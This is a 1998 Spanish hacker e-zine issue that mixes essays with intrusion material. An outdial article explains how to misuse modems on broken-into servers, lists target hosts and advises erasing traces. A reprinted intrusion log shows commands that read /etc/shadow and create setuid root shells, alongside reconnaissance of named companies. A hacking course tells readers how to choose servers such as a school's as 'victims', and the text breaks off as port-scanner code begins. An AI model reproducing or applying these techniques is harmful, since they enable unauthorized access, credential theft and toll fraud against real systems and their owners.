Copy Link
Add to Bookmark
Report
JJF Hackers Team Journal 3
…----------------------------ª
| ⁄------ø |
| |€€€€€€| |
| ⁄------¥€€⁄---Ÿ |
| ⁄------¥€€€€€€|€€¿-ø |
| |€€€€€€√-ø€€⁄-¥€€€€| |
| ¿-ø€€⁄-¡ø|€€|J|€€⁄-Ÿ |
| ⁄--ø|€€|€€¿Ÿ€€|J|€€| |
| |€€¿Ÿ€€|€€€€€€|F√--Ÿ |
| |€€€€€€√------¡-Ÿ |
| ¿------Ÿ |
| H A C K E R S T E A M |
| J O U R N A L |
Ã----------------------------π
| VOL. #1, N°3, 1998. |
»----------------------------º
"LA CAMINATA MAS LARGA ES EL PRIMER PASO" probervio hindu.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso
de la informacion aqui expuesta y tampoco tiene que estar
de acuerdo con lo que sus colaboradores opinen.
Tampoco esperamos que la gente use la informacion aqui expuesta
para hacer daño ya que tan solo es con fines didacticos.
Recomendado el uso del editor del MS-DOS.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#CURRENT MEMBERS :
- CONDE VAMPIRO - CODER H/P/V EDITOR
- MAC CRACK BISHOP - CODER C WEBMASTER
#WEB OFICIAL :
- http://www.angelfire.com/mi/JJFHackers
- http://jjfhackers.home.ml.org
#E-MAIL OFICIAL :
- jjf_team@usa.net <=============== NUEVO !!!!!
#DISTRIBUIDORES OFICIALES DEL E-ZINE:
- http://wakanda.islatortuga.com
- http://underhack.islatortuga.com
#COLABORADORES CON ESTE NUMERO :
- Koji
- Nobody
- Cesar
- Bisho
- Enif (Oioio)
- Daemon
#SALUDOS:
- Metalslug (Wakanda)
- Schoddy Guy (Underhack)
<---------------------------------------------------------------------------->
<---------------------------------------------------------------------------->
<---------------------------------------------------------------------------->
- INDICE.
TITULO AUTOR
------------\_______________________________/------------
* EDITORIAL ................................ J.J.F. / HACKERS TEAM
* MIEDO A LOS ARTICULOS: NO, GRACIAS ....... CONDE VAMPIRO.
* QUE ES UN HACKER Y QUE ES UN CRACKER ..... BISHO.
* LOS OUTDIALS EN INTERNET ................. NOBODY.
* UN LOG DE UN SERVIDOR .................... ANONIMO.
* CURSO DE HACK III ........................ CONDE VAMPIRO.
* USO DE SAMBA EN LINUX/UNIX COMO
SUSTITUTO DEL NBTSTAT .................... ENIF.
* ESTADISTICA DE LOS HACKERS EN 1997 ....... J.J.F. / HACKERS TEAM
* DOCUMENTO SOBRE LOS PERMISOS DE ARCHIVOS
Y DIRECTORIOS PARA SISTEMAS UNIX ......... KOJI.
* INTRODUCCION AL HACKING v2.0 I ........... DAEMON.
* EL LECTOR OPINA .......................... VARIOS.
* NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
-------------
| EDITORIAL |
-------------
Bueno esto parece que funciona ya que estamos en el tercer numero, y
nosotros contentisimos de ello. Ya que cada vez la gente nos apoya mas y
ademas contamos con mas distribuidores oficiales, como Underhack, tambien
como ya dijimos seguimos con Wakanda. Poco a poco vamos avanzando en este
dificil mundo del hack, sobre todo para bien, que es lo mejor del caso ;-)
Hemos creado una nueva seccion en el e-zine llamada EL LECTOR OPINA en
la cual se iran poniendo los mail's en los cuales nos haceis preguntas, asi
las podemos contestar aqui en el e-zine y ademas todos podeis ver las
respuestas y asi aprendemos todos ;-) por lo que ya NO contestaremos a los
mail's que nos envieis, solo teneis que ser pacientes y esperar la salida
del e-zine que se intenta que sea con la mayor rapidez posible. thx a todos!
La verdad es que poco a poco vamos mejorando nuestro e-zine, no solo
en maquetacion sino tambien en la calidad de los articulos que vosotros nos
enviais!!! pero no solo mejora nuestro/vuestro e-zine sino tambien nuestro
web, en el cual siempre podreis encontrar lo que necesitais y sino lo pides
y veremos que podemos hacer. Que decir de la ya conocida seccion TEAM donde
encontraras documentacion y programas propios de - J.J.F. / HACKERS TEAM -
que NO encontraras en ningun otro web. Ademas todas nuestras secciones ya
estan abiertas donde escontrareis de todo :)
Damos las gracias a todos los lectores que nos envian mail diciendo
como le gusta nuestro web o el ezine, esto nos alegra mucho y ademas lo
hacemos con mucho gusto para que por fin encontreis algo para disfrutarlo
de verdad. Por supuesto, no vamos a subirnos a los laures y seguiremos
trabajando duramente el web y el e-zine. Sobre las felicitaciones que
estamos recibiendo nos sorpendre mucho que los mail's vengan del otro
lado del charco pero nos alegra que nos lean con tanta fidelidad desde alli,
por eso desde aqui saludamos a todos nuestros lectores hispanos de Las
Americas. Tambien agradecer la favorable opinion de SET (SET n° 13) en la
cual apoyan este e-zine, aunque se han olvidado de mencionar que nosotros
tambien les tenemos puesto un link ;-)
Hay que decir que el mundo del hack hispano esta siendo cada vez mas
numeroso y ya cada vez hay mas web's (pero ya se sabe que la mitad de web's
dejan mucho que desear, sin animo de ofender :). Pero no todo son alegrias
ya que quedan muchos campos todavia por mejorar, que decir de las news
de hack hispanas... Realmente pesimas y parece mas bien de intercambio de
programas que de hack, una verdadera lastima pero en fin, esperamos que se
arregle pronto la situacion del panorama actual o por lo menos nosotros
pensamos contribuir a ello de alguna forma.
Como ya hemos manifestado varias veces, estamos esperando a que nos
envies un articulo tuyo, ademas no solo hay que enviar articulos puedes
enviar todo lo que consideres interesante para este e-zine, como por
ejemplo algun hacking que hayas cometido (por supuesto con el maximo
anonimato, ningun dato sera revelado por parte nuestra ;-), o alguna
noticia sobre el underground, o quieres anunciar algun proyecto, etc...
Por supuesto tambien queremos que nos escribas para decirnos que piensas
del e-zine, del web, etc... Al igual que si tienes cualquier propuesta,
sugerencia, critica o solo nos quieres saludar, adelante, escribemos a:
jjf_team@usa.net
ATENCION : Como veis hemos cambiado la direccion de mail, la antigua
la de hotmail todavia seguira funcionando pero solo durante un tiempo, esto
lo hacemos para que os de tiempo a cambiarlo. Nuestro nuevo mail es el de
arriba :) Tambien deciros que nuestros mail's personales tambien han
cambiado y son de la siguente manera:
conde_vampiro@usa.net
mac_crac@usa.net
Ahora que todo esta aclarado, que empieze la diversion ;-)
- J.J.F. / HACKERS TEAM -
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
> MIEDO A LOS ARTICULOS: NO, GRACIAS <
\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
Este articulo no tiene que ver con el hack directamente, es una
reflexion de porque hay que escribir un articulo en cualquier e-zine. Esto
viene a raiz de cuando estas hablando con alquien (principalmente en el
irc), primero te cuenta que tal y tal..., que acaba de hackear un server,
tal y tal..., tu piensas "joer, que tio" y le dices, "porque no escribes un
articulo y lo envias a algun e-zine", pero te dice todo asustado: si no me
veo capaz, tal y tal...
Por eso aqui os dire una serie de puntos por los cuales hay que
escribir un articulo. Hay van:
1 - Para escribir sobre alguna cosa tenemos que buscar info y leer mucho,
con esto aprenderemos y avanzaremos en nuestros conocimientos.
2 - Si traducimos textos en ingles, mejoraremos nuestro ingles, algo
necesario en nuestros dias.
3 - Escribiendo articulos ayudaras a los e-zines para que sigan mejorando.
4 - Poco a poco, cuando la gente vaya leyendo tus articulos, sabran de tu
existencia y te iras abriendo paso en el underground.
5 - Puedes pensar que tu articulo sera muy basico pero siempre hay alguien
por debajo que no lo sabra.
6 - No hay articulos malos, sino poco trabajados :)
7 - Cuando la gente vea tus trabajos, te pediran consejo e incluso ofertas
de entrar en algun grupo de hack.
8 - La proliferacion de articulos en nuestra lengua, refleja el estado del
underground hispano.
9 - Siempre hay sobre algo que escribir, ya sea algo nuevo o mejorar uno ya
escrito.
10 - Tendras algo que contar a tus amigos, novia!! y sobre todo, a tus
nietos ;-)
Bueno, pues estos son los 10 puntos por lo que hay que contribuir en
la mejora del underground hispano. Pues ya sabes a ESCRIBIR :))
CONDE VAMPIRO
- J.J.F. / HACKERS TEAM -
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
/--------------------------------\
<Que es un hacker y que es un cracker>
------------------------------------
Hasta ahora ha habido muchos articulos (sobre todo en internet) sobre
la diferencia entre hackers y crackers. En estos articulos, los autores han
tratado de hacer entender quien es cada cosa para que no haya
malinterpretaciones sobre los dos terminos.
Durante mucho tiempo, la opinion publica ha confundido estos terminos,
llamandonos "piratas informaticos" por ejemplo y cosas por el estilo, desde
luego que yo tambien se que es mas facil generalizar que enterarte realmente
de lo que es cada cosa, y lo peor es confundir el termino hacker con
cracker, como muchos medios han echo. Por eso la opinion publica trata de
hacker a alguien que ROMPE dentro de un sistema. Totalmente confundido, y
ademas es un insulto para muchos hackers y con mucho talento para el dificil
arte del hack!
Hay gran cantidad de textos que intentan definir estos terminos. Por
eso he seleccionado los que creo que son mas acertados. Bien por eso vamos
a intentar "definir" los terminos:
_Hacker: Es una persona REALMENTE interesada en los lados mas reconditos y
oscuros de un SO de cualquier ordenador. La mayoria o muchos de
ellos son programadores. Por eso los hackers tienen un
conocimiento MUY avanzado en cuanto a programacion se refiere.
Conocen muchos de los agujeros de los SO, y lo mas importante,
conocen el POR QUE de esos agujeros. Los hackers estan buscando
informacion continuamente, y la hacen publica cuando la encuentran,
y NUNCA estropean datos del ordenador intencionadamente.
_Cracker: Es una persona que ROMPE dentro de un sistema o viola la
integridad del sistema a traves de sistemas remotos con, digamos,
ideas maliciosas. Los crackers ganan acceso sin autorizacion,
destruyen o roban datos importantes, incluso vitales, o
simplemente causan problemas a su "blanco". Los crackers pueden
ser facilmente identificados por sus actos maliciosos.
Bueno, espero haberte aclarado un poco, aunque supongo que estareis
pensando... ya claro, pero un hacker entra tambien a un sistema, cual es la
diferencia?, Bien, vamos a ponerlo en plan metafora:
Tenemos una casa, no? bien, pues que haria un hacker?, sencillo,
llegaria a la casa, daria la vuelta alrededor de la misma, y entraria por
la puerta de atras, despues daria una vuelta por la casa, miraria, y se
marcharia, por el contrario, el cracker, tiraria una piedra contra la
ventana, entraria y te "limpiaria" la casa de arriba a abajo. La diferencia?
tu nunca sabrias que el hacker entro en tu casa pero SI sabras que el
cracker estuvo. Pues bien, tu ordenador, terminal o servidor, es TU CASA.
Despues de esto vamos a repasar unos cuantos nombres que todos o la
mayoria ya los conocemos y seguro que mas de uno se va a llevar una
sorpresa (incluso yo).
Los Hackers:
_Richard Stallman: Se unio al Laboratorio de inteligencia artificial de la
MIT en el 71. Le dieron el premio McArthur por su
desarrollo de software. Despues fundo la Free Software
Foundation, creando aplicaciones y programas gratis.
_Dennis Ritchie, Ken Thomson y Brian Kerrighan: Programadores de los
laboratorios Bell. Fueron los que desarrollaron el UNIX y
el C. Por ejemplo sin estos programadores posiblemente no
existiera internet. Ahora Ritchie, sigue trabajando en los
laboratorios Bell desarrollando el llamada Plan9, que se
supone que sera un nuevo super-sistema operativo que le
quitara el trono al UNIX.
_Paul Baram, Rand Corporation: Posiblemente el mayor hacker de la historia.
Ya hackeaba internet antes de que existiera.
El fue quien introdujo el concepto de Hacker.
_Eugene Spafford: Profesor de informatica. Colaboro para crear el Computer
Oracle Pa°word Security System (COPS) un sistema de
seguridad semi-automatico. Hombre muy respetado en el
campo de la seguridad.
_Dan Farmer: Trabajo con Spafford en la creacion de COPS (1991) y al mismo
tiempo con el famoso Computer Emergency Response Team (CERT).
Tiempo mas tarde Farmer gano gran notoriedad al crear el
System Administrator Tool for Analyzing Networks (SATAN). Una
gran herramienta para analizar vulnerabilidades en redes.
_Wietse Vehema: Vehema viene de la Universidad de Tecnologia de Eindhoven,
en los Paises Bajos. Un gran programador, con un don para
ello, ademas de tener un amplio historial en programas
sobre seguridad. Es el co-autor del SATAN con Farmer.
Vehema escribio el TCP Wrapper, uno de los programas de
seguridad mas usado en el mundo.
_Linus Torvalds: Un individuo extraordinario, Torvalds empezo a conocer el
UNIX y a tomar clases de programacion en C sobre los 90. Un
año despues empezo a escribir un SO parecido al UNIX.
Despues de otro año, lo colgo en internet, es el llamado
LINUX. Ahora mismo el LINUX es un culto entre
programadores, por ser el unico SO programado por gente q
seguramente ni se conoceran en toda su vida. Adenas el
LINUX no tiene el fastidioso copyright, es gratis y libre.
_Bill Gates y Paul Allen: En sus tiempos de instituto, estos dos hombres de
Washington se dedicaban a hackear software.
Grandes programadores. Empezaron en los 80 y han
creado el mayor imperio de software de todo el
mundo. Sus "exitos" incluyen el SO MS-DOS,
Windows, Windows 95 y Windows NT.
Los Crackers:
_Kevin Mitnick: Mas conocido como "Condor", probablemente el cracker mas
conocido del mundo. Mitnick empezo su "carrera" como
phreaker, desde entonces, mitnick ha crackeado todo tipo de
seguridad imaginable, incluyendo lugares militares,
corporaciones financieras, firmas de software y compañias
telefonicas. Por ejemplo, siendo todavia un adolescente,
crackeo la North American Aerospace Defense Command. Ahora
mismo esta esperando una sentencia judicial por sus ataques
cometidos entre 1994 y 95.
_Kevin Poulsen: Siguio el mismo camino que Mitnick, pero es mas conocido
por su habilidad para controlar el sistema telefonico de
Pacific Bell. Incluso llego a "ganar" un Porsche en un
concurso radiofonico, si su llamada fuera la 102, y asi fue.
Poulsen tambien crackeo todo tipo de sitios, pero el se
decantaba por los que contenian material de defensa
nacional. Esto fue lo que le llevo a su estancia en la
carcel, 5 años, le soltaron en el 96, supuestamente
"reformado" :-). Que dicho sea de paso, es el mayor tiempo
de estancia en la carcel que ha comparecido un hacker en la
carcel;
_Justin Tanner Peterson: Mas conocido como Agent Steal. Peterson crackeaba
las agencias de credito, es decir, le iba mas el
dinero que la curiosidad. Esta falta de
personalidad le llevo a su caida y a la de otros,
por ejemplo cuando le pillaron, Peterson descubrio
a todos sus amigos, incluyendo a Kevin Poulsen.
Despues obtuvo un trato con el FBI para trabajar de
clandestino. Esto le facilito su salida de la
carcel y "no?" pudo ser demostrado un fraude
mediante una trasferencia de dinero :-).
Bueno, despues de todo esto, espero que os haya quedado un poco mas
claro de que o quien es cada cosa, y a lo mejor te he ayudado a
identificarte a ti tambien, quien sabe... Hala! hasta otra :-).
Saludos a : - J.J.F. / HACKERS TEAM -, Wakanda y Underhack.
#hackers, #seguridad_informatica
Nobody, Fragel, Folixia, Metalslug y a todos los demas.
Er Bisho
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
07-12-1997.
??????
≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤≤
…----------------------------ª≤≤
| LOS OUTDIALS EN INTERNET |≤≤
| |≤≤
| by NOBODY |≤≤
»----------------------------º
Nota del Autor: No me hago responsable del mal uso del la informacion
aqui expuesta, ya que es para fines didacticos y no espero que abuses
de ello.
Los outdials son sistemas informaticos que nos permitiran conectar
con BBS de otros paises, que esten cerca de casa o donde nos de la gana.
Tambien los podemos usar para conectar a otras redes. Principalmente se
usan para conectar a BBS extranjeras.
Para conectar a un outdial lo que hacemos es buscar por internet un
servidor que nos permita salir y asi llamar a donde queramos sin gastar
nuestro dinero en llamadas internacionales :). Un ejemplo grafico de como
seria esto es:
SERVIDOR
- INTERNET - SINGAPUR
|X|------------------->|S|
- - -
HACKER ¿-------->|B|
ESPA•A LLAMADA - BBS
INTERNACIONAL ALEMANIA
Como podeis ver hemos conectado desde nuestro ordenador en España a
un servidor el cual se encuentra en Singapur por internet pero luego
hemos usado uno de sus modems para hacer una llamada externa y salir de
internet para conectar con una BBS en Alemnia, con la que tendriamos que
pagar un riñon si quisiesemos conectar con la BBS.
Generalmente encontrar estos servidores es dificil, hay varias listas
(abajo os pondre una). Ademas muchas veces estos outdial estan configurados
para que solo permitan llamadas locales. Los buenos outdial son conocidos
por GOD (Global OutDials) ya que permiten realizar llamadas a donde se
quiera pero no son frecuentes ademas suelen cerrar rapido debido a su uso.
Cuando querramos usar un outdial, pues lo que hacemos es conectar
mediante telnet a un servidor que tenga outdial y generalmente para
realizar la conexion escribimos ATDT XXXXXXXXX, donde X es el numero al
que queremos conectar. Puede que el outdial al que conectemos no funcione
asi por lo que tendremos que averiguar como funciona.
Si hackeamos un servidor por inet podemos intentar averiguar si
podemos hacer outdial. Supongamos que estamos dentro de un servidor pues
buscamos el fichero L-devices, que se encuentra en el directorio
/usr/lib/uucp, si no esta este fichero en este lugar lo tendremos que
buscar, para ello escribimos: "find / -name L-devices -print".
Cuando ya hemos encontrado el fichero en cuestion lo editamos:
"cat L-devices", si este fichero es muy grande y no cabe en la pantalla
escribe:"cat L-devices | more". Cuando el fichero este editado, nos
mostrara la informacion relacionada con los modems, entonces escogemos
una terninal (ttynn, nn sera el numero) y su velocidad (Baudios). Y ya
podemos conectar donde queramos :)
Como he dicho antes si no encontramos el fichero L-devices de ninguna
forma tendremos que hacerlo de otro modo. Escribimos:"who am i", nos dara
informacion de nosotros mismos, entonces miramos en que terminal estamos
conectados. Si estamos conectados mediante un modem al servidor y estamos
en la tty07, seguramente los que estan cerca nuestra tambien sean modems,
como por ejemplo el tty06 o el tty08.
OUTDIAL
-----|-------|-------|------|------
/ \ / \ / \ / \
| | | | MODEMS
| | | |
| | | |
tty05 tty06 tty07 tty08
HACKER
Ahora tendremos que conectar directamente con el modem y esto lo
haremos asi:"cu -sbaudios -l/dev/ttynn dir". Donde en "baudios" y "ttynn"
podremos la informacion que hallamos obtenido del proceso anterior. Si
todo ha salido bien nos tendria que haver salido el mensaje de
"Connected".
Ahora nos encontramos hablando directamente con el modem, en este
punto conviene salvar la configuracion escribiendo:"AT&W". Si cuando
escribimos no aparece lo que escribimos no pasa nada ya que seguramente
esta activado el echo off. Entonces ahora escribimos:"AT&F" para
restaurar la configuracion predeterminada. Ya solo nos queda configurar
el modem para nuestros propositos y usarlo tranquilamente. Cuando
hallamos terminado, escribimos:"ATZ" y para volver a poner la
configuracion antigua:"~.". Con esto nos tendria que haver salido el
mensaje de "Disconnected" y estaremos otra vez en el shell.
Logicamente esto es ilegal y conviene tomar medidas para protegerse,
como por ejemplo usar varios nodos antes de llegar a conectar al outdial.
Tambien podemos borrar nuestras huellas en el servidor.
Aqui os pongo una lista de outdial que podemos intentar usar, pero es
un poco antigua por lo que conviene buscar alguna lista mas reciente,
pero nunca se sabe :)
129.219.17.3 login: MODEM
atdt 8xxx-xxxx
dialout.lcs.mit.edu
dialout24.cac.washington.edu
ublan.acc.virginia.edu c hayes
129.82.100.64 login: modem
modem.uwyo.edu
129.119.131.11x (x = 1 to 4)
emory.edu .modem8 or
.dialout
pacx.utcs.utoronto.ca modem
atdt 9xxx-xxxx
128.249.27.154 c modem96
atdt 9xxx-xxxx
128.249.27.153 " -+ as above +- "
130.191.4.70 atdt 8xxx-xxxx
132.204.2.11 externe#9 9xxx-xxxx
uknet.uky.edu outdial2400
atdt 9xxx-xxxx
gate.cis.pitt.edu LAT
connect dialout
Pues esto es todo y espero que os halla gustado y tened cuidado con
lo que haceis. Si tienes una lista actualizada enviala al mail de JJF
para que se publique.
Y desde aqui saludar a toda la peña de #hackers, #hack, #rejoin &
#seguridad_informatica !!!!!!
Grupos como - J.J.F. / HACKERS TEAM - , CYBERHACK, WAKANDA, UNDERHACK,
@pOkalypSYS y todos los demas !!
Y por supuesto : Bisho, Folixia, Fragel, Ipgh0st, Metalslug, Dillet, Riddle,
Hadden, Guybrush, Tdp, Virux, Cy, Angelipas, Schoddy Guy, Xus, Enif,
Bit-Quake, L.A., Nadia, Amanda, Case_zero y todos los que me dejo :)
NOBODY (c) 1997.
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
⁄------------------------
| UN LOG DE UN SERVIDOR |
------------------------Ÿ
Este fichero log fue enviado anonimamente a un mailing list de
hackers y hemos pensado que os podia ser interesante y por eso lo hemos
incluido.
Se dice que este log fue una entrada a un server por la famosa
Carolyn P. Meinel. una de las grandes mujeres hacker's. Famosa tambien
por su mailing list sobre hack y por supuesto las ya conocidas "GUIDE
TO (mostly) HARMLE° HACKING".
Nota de - J.J.F. / HACKERS TEAM -: Logicamente no podemos verificar la
autenticidad de este log pero de todas formas es muy interesante y prodeis
aprender algo de el. Pensamos que tampoco tiene ninguna complicacion por lo
que no se explicara, asi que os dejamos que trabajeis esa mente, que para
algo esta!!
TAMBIEN DECIR QUE NOSOTROS NO SABEMOS NADA SOBRE EL HACKEO DE ESTE SERVER
Y NO ESTAMOS RELACIONADOS DE NINGUNA FORMA.!!!!!!!!!!!!!
------------ Comienzo del log ------------------------------------------------
cd usr/bin
pwd
cd ..
ls
who
cd ..
ls
cd bin
cd convfont
ls
ls c*
pwd
cd ..
ls
cd usr
ls
cd bin
cd convfont
ls
ls con*
ls co*
cd ..
ls
cd X11R6
cd bin
ls
ls -l
cd ..
cd ..
cd ..
ls
ln -s /etc/shadow /tmp/dummy.dip
cd etc
ls
cd shadow
ls sha*
/sbin/dip -v /tmp/dummy.dip
ln -s /etc.shadow /tmp/dummy.dip
cd du*
cd tmp
cd etc/tmp
ls
cd tmp
cd ..
ls
cd tmp
ls du*
ls -l
ls du* -l
cat dummy.dip
cc stuff.c
ls
man cc
who
make stuff.c
cc stuff.c
cat stuff.c
ls
rm stuff.c
whoami
cat < /dev/tty1
dip -t
cd ..
cd ..
ls
cd etc
cdbin
cd bin
ls
cd ..
ls
cd dev
ls
dir di*
cd ..
ls
cd bin
ls di*
cd ..
dip
dip
su +username
su -- -username
ls
who
echo 'cp /bin/sh /tmp/rxsh:chmod 4755 /tmp/rxsh' > /tmp/rxbug
chmod +x /tmp/rxbug
rxvt -print-pipe /tmp/rxbug
rxvt
cd usr/X11R6/bin
cd ..
ls
cd ..
ls
cd usr
ls
cd X11R6
ls
cd bin
ls
cd ..
cd ..
pwd
who
mail from
mail from: nogo@nogood.com
quit
cd ..
cd ..
ls
cd etc
ls
cat pa°wd
su
su ihu
su
mail
?
who
ps
cat etc/pa°wd
cd ..
cd ..
ls
cd etc
cat pa°wd
ln /etc/pa°wd /var/tmp/dead.letter
ln /etc/pa°wd /var/tmp/dea1d.letter
mail from: non@non.com
cat /etc/pa°wd
cd /var/tmp/
ls
rm dea1d.letter
cat dead.letter
ls -l
cat id*
ftp
ftp -n localhost
who
ps
ps -la
#/usr/bin/suidperl -U
>=0;
$<=0; $<=0;
>=0; $<=0;
exec("bin/sh:);
ls
ls
who
cat /etc/pa°wd
export RESOLV_HOST_CONF=</etc/shadow>
cat /etc/shadow
cd /var/log
ls
cat me°ages
ls -l
who
bash
makefile
ls
run makefile
make all
make *.c
mkd m
mk m
man mdk
man md
man mkd
man make
make -f makefile
cat makefile
ls ma*
cd ..
ls
cd cmeinel
ls
make -f makefile
ls m*
cd ..
pwd
ls
cd cmeinel
cat makefile
ls
make -f MAKEFILE
ls
make all
make -f MAKEFILE all
ls
cat getpa°.o
cat getpa°.c
ls
telnet
cd /tmp
ls
dir li*
cd..
cd ..
ls
cd usr
ls
cd ..
cd ..
ls
cd etc
ls
cd ..
ls
cd home
cd cmeinel
ls
rm getpa°.c
rm getpa°.o
rm OPENLOG.C
rm MAKEFILE
ls
dir
ls -l
w
ls -l /bin
pwd
nslookup
finger root@shellonly.com
ls -l
telnet
tin
wheris tin
whereis tin
who
finger root
users
who
tin
finger @shellonly.com
netstat
quit
exit
tin
tin -r
tin -r news.lobo.net
who
talk campre°
man tin
kill man tin
fg man tin
jobs
kill 1
ps man tin
ps
kill 23287
ps
quit
exit
i
pine
ls
ls
w
ls -F
more "=0"
ls -l
more binmail.sh
ls
more ed.hup ^
more ed.hup
more /var/spool/mail/cmeinel
ls
ls balu
rm -rf balu
finger
w
ls
cd ..
ls
ls -l
cd ftp
ls
cd pub
ls
cd ..
ls
cd incoming
ls
cd ..
cd usr
ls
cd bin
ls
cd ..cd ..
cd ..
cd..
cd ..
ls
w
exit
tin -r
tin -r news.lobo.net
tin news.lobo.net -r
elm
pine
telnet space.honeywell.com
pa°wd
tin
tin -r news.lobo.net
pine
exit
who
talk .The Internet weather report
No, we're not talking climate-type weather here on earth as reported
via the Internet. We're talking bitwise weather. Storms in the aether.
The ebb and flow, the squalls and bottlenecks on the largest Net back-
bone carriers. The folks at ClearInk [25], a California "E-vertising"
agency, offer the indispensible Internet Weather Report [26]: a quick-
loading tabular summary, updated every 15 minutes, of packet lo° and
"ping" round-trip times from their location to 15 nationwide carriers.
At this moment AGIS is losing 8% of the packets ClearInk sends them.
Why? Perhaps it's due to the hackings, flames, and vandalism [27] dir-
ected against this ISP, the only remaining safe haven for "spam king"
Sanford Wallace's Cyber Promotions. (For more on CyberPromo, visit
TBTF Threads [28] and follow one of the two spam topics.)
[25] <URL:http://www.clearink.com/>
[26] <URL:http://www.internetweather.com/>
[27] <URL:http://www.news.com/Rumors/0%2C29%2C00.html>
[28] <URL:http://www.tbtf.com/threads.html>
finger rlogan@space.honeywell.com
finger rlogan@honeywell.com
nslookup honeywell.com
whois rlogan@space.honeywell.com
lynx http://www.honeywell.com
finger info-fl51@space.honeywell.com
telnet space.honeywell.com
users
who
rwho
finger campre°
elm
quit
exit
whois honeywell.com
finger rlogan@space.honeywell.com
finger rlogan@129.239.26.10
finger rlogan@129.30.3.16
finger rlogan@129.17.254.12
pine
telnet 36.26.0.172
finger boeing.com
finger @boeing.com
finger @www.boeing.com
exit
elm
tin -r
tin -r news.lobo.net
whois happyhacker.org
pine
exit
pine
tin
tin -r news.lobo.net
exit
pico .forward
pine
tin -r news.lobo.net
who
quit
exit
pine
tin
who
exit
dig escape.com
telnet free.escape.com
exit
pine
tin
tin -r news.lobo.net
telnet obscure.sekurity.org 22
who
finger @
set prompt = Howdy, haxor buddy!
set prompt = 'Howdy, haxor buddy!'
exit
set
set |more
set prompt
set prompt = 'hax0rch1ck:)'
who
pico .cshrc
tty
exit
whois internic.net
pine
nslookup internic.net
whois techbroker.com
whois happyhacker.org
whois happyhacker.com
exit
telnet escape.com 79
exit
nslookup phuck.com
nslookup phuck.net
dig netral.
nslookup netral.
whois 208.128.37.4
nslookup phuck.net.
nslookup ljusdal.se
dig ljusdal.se
dig phuch.net
dig phuck.net
help dig
man dig
whois dimensional.com
exit
lynx http://amazon.com
lynx happyhacker.org
whois techbroker.com
pine
who
exit
elm
elm
exit
elm
exit
elm
cat var/spool/mail/cmeinel
exit
tin
tin -r news.lobo.net
pine
pine
pine
traceroute obscure.sekurity.org
who
an traceroute
man traceroute
finger krees@downeast.net
telnet downeast.net 79
telnet downeast.net 79
telnet downeast.net 79
whois downeast.net
traceroute downeast.net
finger krees@alter.net
finger krees@137.39.13.237
finger krees@204.176.212.1
telnet 204.176.212.1 79
finger krees@208.128.23.61
nslookup 204.176.212.1
nslookup 204.176.212.2
dig 204.176.212.1
nslookup 204.176.212.
nslookup 204.176.212.10
lynx http://www.agate.net/~krees/resume.html
reset
who
pine
exit
traceroute sekurity.org
pine
exit
pine
exit
pine
lynx http://www.asmodeus.com
whois asmodeus.com
pine
pine
exit
traceroute ipt-q1.proxy.aol.com
lynx http://204.188.52.99
reset
pine
who
exit
pine
exit
lynx http://dejanews.com
exit
pine
pico worm.tar
ftp ftp://obscure.sekurity.org
exit
exit
lynx http://www.westcomm.com/direcpc
pine
exit
whois nwark.com
finger
who
users
finger@
telnet 127.0.0.1 79
finger utep
finger austin
finger elpaso
exit
pine
exit
pine
telnet 127.0.0.1
------------ FIN -------------------------------------------------------------
Si algun lector quiere escribir un articulo explicando el log, lo
pondremos encantados en el siguiente numero :)
<---------------------------------------------------------------------------->
€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
<---------------------------------------------------------------------------->
- CURSO DE HACK -
CHAPTER III
Bueno, ya estamos en la tercera entrega de este curso sobre hack y
espero que os sirva para algo y ya hallais hackeado algun server :). Ahora
ya despues de estar haciendo cosas muy lamers ya empezaremos algo mas serio
y que requiere un poco de maestria, pero no te preocupes que aqui estara
todo bien explicado.
Esta tercera parte esta enfocada al analisis de un server y buscar
sus puntos vulnerables, enfocadonos en sistemas Unix logicamente.
- Buscando victima.
Lo primero que tenemos que hacer es buscar un sever que por alguna
razon nos llame la atencion, los principales criterios serian estos:
-> El servidor de la escuela, universidad, etc ...
-> Sabemos que el Admin es un inutil.
-> Nos lo a recomendado un amigo.
-> Es un servidor racista, contiene pornografia infantil, etc ...
-> Buscando por Inet, lo encontramos interesante.
-> Contiene mi juego favorito pero vale un riñon.
Ahora ya sabemos cual sera nuestra victima, comenzaremos un estudio,
es recomendable crear un fichero donde iremos guardando toda la informacion
que vayamos obteniendo del servidor en cuestion.
- Surfeando los Puertos.
Lo primero seria averiguar que puertos tiene abiertos que podemos
aprovechar para colarnos. Por eso tenemos que usar un scaneador de puertos,
la verdad es que hay muchos y para todos los s.o. practicamente. Ahora os
pongo el codigo de uno para unix.
------------ Codigo Fuente ---------------------------------------------------
/*
* internet port scanner
*
